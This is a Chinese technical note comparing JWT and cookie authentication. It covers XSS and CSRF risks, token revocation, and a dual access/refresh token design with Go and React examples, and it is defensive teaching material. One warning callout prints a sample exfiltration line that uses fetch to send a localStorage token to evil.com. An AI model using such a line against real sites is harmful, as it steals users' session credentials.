--- tags: [JWT, Cookie, authentication, security, comparison, backend, frontend] create time: 2026-05-23 00:01 --- # JWT vs Cookie:认证方案全景对比 ## 概述 JWT 和 Cookie 是 Web 认证体系中两个最容易被混淆的概念。但它们根本不在同一个层面——**JWT 是令牌格式(数据结构),Cookie 是存储与传输机制(浏览器行为)**。把两者对立起来比较,就像拿"信件内容格式"和"邮递系统"做对比一样,维度完全不同。 本文从架构、安全、工程实践三个角度,系统对比两者,并给出**组合使用的最佳实践**。 > [!question] 先想一个问题 > JWT 存在哪里?Cookie 存在哪里?如果你的答案是"JWT 存客户端,Cookie 存浏览器",那说明这个误区正好是本文要澄清的。 > > JWT 是一段**数据**,它可以存在 localStorage、内存变量、甚至 Cookie 里。Cookie 是浏览器的一种**存储和传输机制**,它可以存 JWT,也可以存 Session ID,或者任何字符串。 > > 两者的关系是:**JWT 需要一个载体,Cookie 是候选载体之一。** ## 核心定位 ### 层次模型 ```mermaid flowchart TB subgraph Transport["传输层 — 数据怎么送到服务端"] A["Authorization 头 — 前端手动注入"] B["Cookie — 浏览器自动携带"] C["URL 参数 — 不推荐"] end subgraph Format["数据层 — 送的是什么"] D["JWT — 签名的 JSON 令牌"] E["Session ID — 随机 UUID"] F["自定义 Token — 任意字符串"] end subgraph Storage["存储层 — 存在哪里"] G["localStorage — JS 可读写"] H["HTTP-only Cookie — JS 不可读"] I["内存变量 — 刷新即失"] J["服务端 Session Store — Redis/DB"] end D --> A D --> B E --> B F --> A A --> G A --> I B --> H E --> J ``` ### 概念对比 | 维度 | JWT | Cookie | |------|-----|--------| | **本质** | 令牌格式(数据载体) | 存储与传输机制(浏览器行为) | | **类比** | 信件内容的格式规范 | 邮递系统(自动送信) | | **谁控制** | 开发者手动管理生命周期 | 浏览器根据响应头自动管理 | | **数据可见性** | Base64 可解码(但签名防篡改) | 明文存储(除非加密) | | **标准** | RFC 7519 | RFC 6265 | > [!tip] 关键区分 > 问自己一个问题:"这个方案里,浏览器有没有自动帮我传数据?" > - **有** → 用的是 Cookie 传输(不管里面存的是 Session ID 还是 JWT) > - **没有** → 前端代码手动设 `Authorization` 头(JWT 或其他 Token) ## 安全模型对比 JWT + `Authorization` 头和 Cookie 的安全攻防完全不同,因为攻击面不同。 ### 攻击面总览 ```mermaid flowchart LR subgraph JWT_Auth["JWT + Authorization 头"] direction TB JA1["存储位置, localStorage"] JA2["传输方式, 前端手动注入"] JA3["主要威胁, XSS 窃取 Token"] JA4["CSRF 风险, 低, 不自动发送"] end subgraph Cookie_Auth["Cookie 认证"] direction TB CA1["存储位置, 浏览器 Cookie 存储"] CA2["传输方式, 浏览器自动携带"] CA3["主要威胁, CSRF 伪造请求"] CA4["XSS 风险, 低, HttpOnly 不可读"] end ``` ### XSS 攻防 XSS(跨站脚本)的核心:攻击者注入恶意 JS,窃取客户端存储的凭证。 | 方案 | 存储方式 | XSS 风险 | 说明 | |------|----------|----------|------| | JWT + localStorage | JS 可读 | **高** | 一旦 XSS 漏洞被利用,`localStorage.getItem('token')` 直接暴露 | | JWT + 内存变量 | JS 可读但不持久 | **中** | 刷新页面即丢失,攻击窗口小,但 XSS 执行期间仍可读取 | | JWT + HTTP-only Cookie | JS 不可读 | **低** | `HttpOnly` 阻断 JS 访问,XSS 无法直接窃取 | | Session ID + HTTP-only Cookie | JS 不可读 | **低** | 同上,`HttpOnly` 是核心防线 | > [!warning] localStorage 是 XSS 的"自助餐" > 如果你的前端存在任何 XSS 漏洞(包括第三方依赖的漏洞),localStorage 中的 JWT 就是裸奔。攻击者只需一行代码 `fetch('https://evil.com/?t=' + localStorage.getItem('token'))` 即可完成窃取。 > > 而 `HttpOnly` Cookie 是浏览器内核级别的隔离,JS 无法通过任何 API 读取——这才是真正的纵深防御。 ### CSRF 攻防 CSRF(跨站请求伪造)的核心:浏览器自动携带目标域的 Cookie,攻击者借此伪造用户请求。 | 方案 | 自动携带凭证 | CSRF 风险 | 说明 | |------|------------|-----------|------| | JWT + `Authorization` 头 | 否 | **无** | `Authorization` 头需要 JS 手动设置,浏览器不会自动加 | | JWT + Cookie | 是 | **有** | 和普通 Cookie 认证一样,需 SameSite / CSRF Token 防护 | | Session ID + Cookie | 是 | **有** | 需配合 `SameSite=Lax/Strict` 或 CSRF Token | ```mermaid sequenceDiagram participant User as "用户" participant SiteB as "恶意网站 B" participant Server as "服务端" Note over SiteB: "CSRF 攻击流程" SiteB->>Server: "POST /transfer, Cookie 自动携带" Server->>Server: "Cookie 合法, 请求被处理" Server-->>SiteB: "转账成功" Note over Server: "防御 SameSite Lax" SiteB->>Server: "POST /transfer, Cookie 不携带" Server-->>SiteB: "401 Unauthorized" ``` > [!question] 为什么 `Authorization` 天然免疫 CSRF? > CSRF 利用的是浏览器**自动携带凭证**的行为。`Authorization` 头需要 JS 代码显式设置,浏览器不会自动注入——攻击者的恶意页面里没有你的 JS 代码,自然无法伪造 `Authorization` 头。 > > 但要注意:如果你把 JWT 存在 Cookie 里(为了防 XSS),那 CSRF 风险就回来了。安全没有银弹,只有权衡。 ### 综合安全评分 | 安全维度 | JWT + localStorage | JWT + Cookie (HttpOnly) | Session + Cookie (HttpOnly) | |----------|--------------------|-----------------------|-----------------------------| | XSS 防护 | ❌ 弱 | ✅ 强 | ✅ 强 | | CSRF 防护 | ✅ 天然免疫 | ⚠️ 需额外防护 | ⚠️ 需额外防护 | | 传输安全 | HTTPS | HTTPS + Secure 属性 | HTTPS + Secure 属性 | | 令牌泄露影响 | 长期有效(至过期) | 长期有效(至过期) | 可即时吊销 | | 实现复杂度 | 低 | 中 | 低 | > [!info] 安全结论 > 没有"绝对安全"的方案,只有"适合场景"的方案: > - 对 XSS 防御有信心(CSP + 输入转义 + 无第三方脚本风险)→ JWT + localStorage,实现简单 > - 对 XSS 没信心,或安全要求高 → JWT 存 HTTP-only Cookie,但需补 CSRF 防护 > - 传统 Web,需即时吊销 → Session + Cookie,最成熟可控 ## 传输与工程实践对比 ### 传输行为差异 ```mermaid sequenceDiagram participant B as "浏览器" participant S as "服务端" Note over B: "方案 A, JWT + Authorization 头" B->>B: "JS 从 localStorage 读取 Token" B->>S: "GET /api/user, Authorization Bearer xxx" S->>S: "解析 Authorization 头, 验签" Note over B: "方案 B, Cookie 自动传输" B->>S: "GET /api/user, Cookie 自动携带" S->>S: "读取 Cookie 中的 Session ID 或 JWT" ``` | 工程维度 | JWT + Authorization 头 | Cookie 自动传输 | |----------|----------------------|----------------| | **前端工作量** | 需手动管理 Token 存储/注入/刷新 | 登录后浏览器自动处理 | | **跨域支持** | 天然支持(手动设头即可) | 需 CORS 配置 + `credentials: "include"` | | **移动端兼容** | 完美(不受浏览器 Cookie 策略限制) | 需要 WebView 支持 | | **负载大小** | 500B~1KB(含 payload + 签名) | ~36B(仅 Session ID) | | **服务端开销** | CPU 验签(轻量) | 查 Redis/DB(I/O) | | **实时吊销** | 难(需黑名单或版本号) | 易(删 Session 即失效) | | **水平扩展** | 天然支持(各服务独立验签,无需共享状态) | 需共享 Session 存储(Redis 等) | > [!question] 为什么跨域场景倾向选 JWT + Authorization 头? > Cookie 的跨域需要 CORS 配置白名单、`credentials: true`、且 `Allow-Origin` 不能用通配符——配置繁琐且容易出错。而 `Authorization` 头不受同源策略的 Cookie 限制,前端只需在请求拦截器里加一行,后端做标准的 Bearer Token 验证即可。 > > 但代价是:前端要自己管理 Token 的生命周期——存储、注入、刷新、失效处理,这些都是 Cookie 浏览器自动帮你做的事。 ### JWT 吊销策略 JWT 最大的工程痛点之一就是**实时吊销难**——Token 签发后在过期前一直有效。以下是常见的应对手段: | 策略 | 实现方式 | 适用场景 | 代价 | |------|----------|----------|------| | **短过期 + 自动续期** | Access Token 15min,配合 Refresh Token 轮换 | 大多数场景的默认选择 | 无法秒级吊销,最长有 15min 窗口 | | **Token 黑名单** | Redis 存被吊销的 Token JTI,每次请求校验 | 需要精确吊销(如用户主动登出、密码重置) | 引入状态存储,每次请求多一次 Redis 查询 | | **Token 版本号** | 用户表维护 `token_version`,JWT payload 携带版本号,校验时比对 | 批量吊销(如"强制该用户所有设备下线") | 需要查库,但比黑名单轻量 | | **Refresh Token 轮换** | 每次刷新签发新的 Refresh Token,旧的立即失效 | 防止 Refresh Token 泄露被重放 | 需要 Redis 存储 Token 家族关系 | > [!tip] 实战建议 > 大部分场景用 **短过期 + 黑名单** 就够了。Access Token 设 15 分钟过期,用户登出或密码重置时将 Token JTI 加入 Redis 黑名单(TTL 等于 Token 剩余有效期)。不需要每次都查黑名单——只有在"安全事件"时才写入。 > > 别试图实现"完美吊销"——那本质上就是 Session 方案了。JWT 的优势是**无状态验证**,频繁查库违背了它的设计初衷。 ## 组合最佳实践:双令牌策略 真正的生产环境很少"二选一",而是**两者结合**,取长补短。 ### 架构设计 ```mermaid flowchart TD subgraph Login["登录流程"] A["用户提交凭据"] --> B["服务端校验"] B -->|"成功"| C["签发 Access Token, JWT, 15min"] C --> D["签发 Refresh Token, UUID, 7d"] D --> E["Access Token 返回响应体"] D --> F["Refresh Token 存 HttpOnly Cookie"] end subgraph Request["API 请求"] G["前端从内存取 Access Token"] --> H["注入 Authorization 头"] H --> I["服务端验签, 无需查库"] end subgraph Refresh["Token 刷新"] J["Access Token 过期"] --> K["前端请求 refresh"] K --> L["浏览器自动带 Refresh Token Cookie"] L --> M{"Refresh Token 有效"} M -->|"是"| N["签发新 Access Token"] M -->|"否"| O["跳转登录页"] end ``` ### 各层职责 | 组件 | 存储位置 | 生命周期 | 职责 | |------|----------|----------|------| | **Access Token** | 前端内存或 localStorage | 15 分钟 | API 调用凭证,过期即丢 | | **Refresh Token** | Http-only + Secure + SameSite=Strict Cookie | 7 天 | 仅用于换取新 Access Token | > [!tip] 为什么 Refresh Token 存 Cookie 而不是 Access Token? > - **Refresh Token 访问频率低**(仅在 Access Token 过期时使用),Cookie 的自动传输特性在此是优势 > - **Refresh Token 是高价值目标**,Http-only Cookie 防 XSS 比 localStorage 安全 > - **Access Token 访问频率高**,存 localStorage 可避免每次请求的 Cookie 开销,也天然免疫 CSRF > > 这样两者各取所长:Access Token 的便利性 + Refresh Token 的安全性。 ### Go 实现 ```go // 签发双令牌 func IssueTokenPair(c *gin.Context, userID uint, role string) { // 1. Access Token: JWT, 短期 accessToken, _ := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ "sub": userID, "role": role, "exp": time.Now().Add(15 * time.Minute).Unix(), }).SignedString([]byte(os.Getenv("JWT_SECRET"))) // 2. Refresh Token: 随机 UUID, 存 Redis refreshToken := uuid.New().String() redis.Set(ctx, "refresh:"+refreshToken, userID, 7*24*time.Hour) // 3. Refresh Token 存入 HttpOnly Cookie c.SetCookie("refresh_token", refreshToken, 7*86400, "/auth/refresh", "", true, true) // Secure + HttpOnly(Gin 需手动设 header) // 4. Access Token 返回响应体 c.JSON(200, gin.H{"accessToken": accessToken, "expiresIn": 900}) } // 刷新端点:从 Cookie 读 Refresh Token,签发新 Access Token func RefreshHandler(c *gin.Context) { refreshToken, err := c.Cookie("refresh_token") if err != nil { c.AbortWithStatusJSON(401, gin.H{"error": "no refresh token"}) return } userID, err := redis.Get(ctx, "refresh:"+refreshToken).Result() if err != nil { c.AbortWithStatusJSON(401, gin.H{"error": "refresh token expired"}) return } // 签发新 Access Token(Refresh Token 不变) newAccessToken, _ := GenerateAccessToken(userID) c.JSON(200, gin.H{"accessToken": newAccessToken, "expiresIn": 900}) } ``` ### React 前端 ```typescript const api = axios.create({ baseURL: "/api" }); // 请求拦截器:自动注入 Access Token api.interceptors.request.use((config) => { const token = getAccessTokenFromMemory(); // 从内存读,不从 localStorage if (token) config.headers.Authorization = `Bearer ${token}`; return config; }); // 响应拦截器:401 时自动刷新 api.interceptors.response.use( (res) => res, async (err) => { if (err.response?.status === 401 && !err.config._retry) { err.config._retry = true; try { // 调用刷新接口 — Refresh Token 由浏览器 Cookie 自动携带 const { data } = await axios.post("/api/auth/refresh"); setAccessTokenInMemory(data.accessToken); err.config.headers.Authorization = `Bearer ${data.accessToken}`; return api.request(err.config); } catch { window.location.href = "/login"; // 刷新失败,重新登录 } } return Promise.reject(err); }, ); ``` > [!note] 为什么 Access Token 存内存而不存 localStorage? > 内存变量在页面刷新后会丢失,这看起来是缺点,但恰恰是优势——XSS 攻击的窗口被缩小到当前页面生命周期。每次刷新页面都会用 Refresh Token(存在 Http-only Cookie 里,XSS 读不到)重新获取 Access Token,实现"无感续期"。 ## 选型决策指南 ```mermaid flowchart TD A["选择认证方案"] --> B{"架构类型"} B -->|"传统 Web SSR"| C{"需要即时吊销"} C -->|"是"| D["Session + Cookie"] C -->|"否"| E["JWT + Cookie HttpOnly"] B -->|"前后端分离 SPA"| F{"安全要求"} F -->|"高"| G["双令牌策略 Access + Refresh"] F -->|"标准"| H["JWT + localStorage + Authorization 头"] B -->|"移动端"| I["JWT + Authorization 头, 存内存"] B -->|"微服务内部通信"| J["JWT 非对称签名 RS256"] D --> D1["Redis 存 Session, 服务端可控"] E --> E1["浏览器自动传输, 无需前端管理"] G --> G1["Access Token 内存, Refresh Token Cookie"] H --> H1["实现简单, 注意 XSS 防护"] I --> I1["无浏览器 Cookie 限制"] J --> J1["私钥签发, 公钥验签"] style D fill:#e8f4f8 style G fill:#fde8e8 style H fill:#fff3cd style I fill:#d4edda ``` ### 速查表 | 场景 | 推荐方案 | 理由 | |------|----------|------| | 企业后台管理系统 | Session + Cookie | 功能集中,需即时踢人,单体架构 | | 前后端分离 SPA | 双令牌策略 | 兼顾安全与体验 | | 移动端 App | JWT + Authorization 头 | 无 Cookie 机制,Token 存安全存储 | | 微服务网关 | JWT 非对称签名 | 各服务独立验签,无需查中心存储 | | SSO 单点登录 | JWT + Cookie (Partitioned) | 跨站场景需 CHIPS 支持 | > [!info] 没有银弹 > 每种方案都有取舍。选型时问自己三个问题: > 1. **能不能接受用户 Token 在过期前无法强制失效?** → 能:JWT;不能:Session > 2. **前端有没有能力和意愿管理 Token 生命周期?** → 有:Authorization 头;没有:Cookie > 3. **架构是否需要跨域或跨服务?** → 是:JWT;否:Session 足够 > > 答案组合起来就是你的最优解。 ## 关联笔记 - [[hhs/DEV/鉴权策略/JWT/JWT]] — JWT 令牌格式与认证流程详解 - [[Cookie]] — Cookie 机制、属性与安全防护 - [[SameSite 与 CSRF 防护]] — SameSite 属性与 CSRF 攻防策略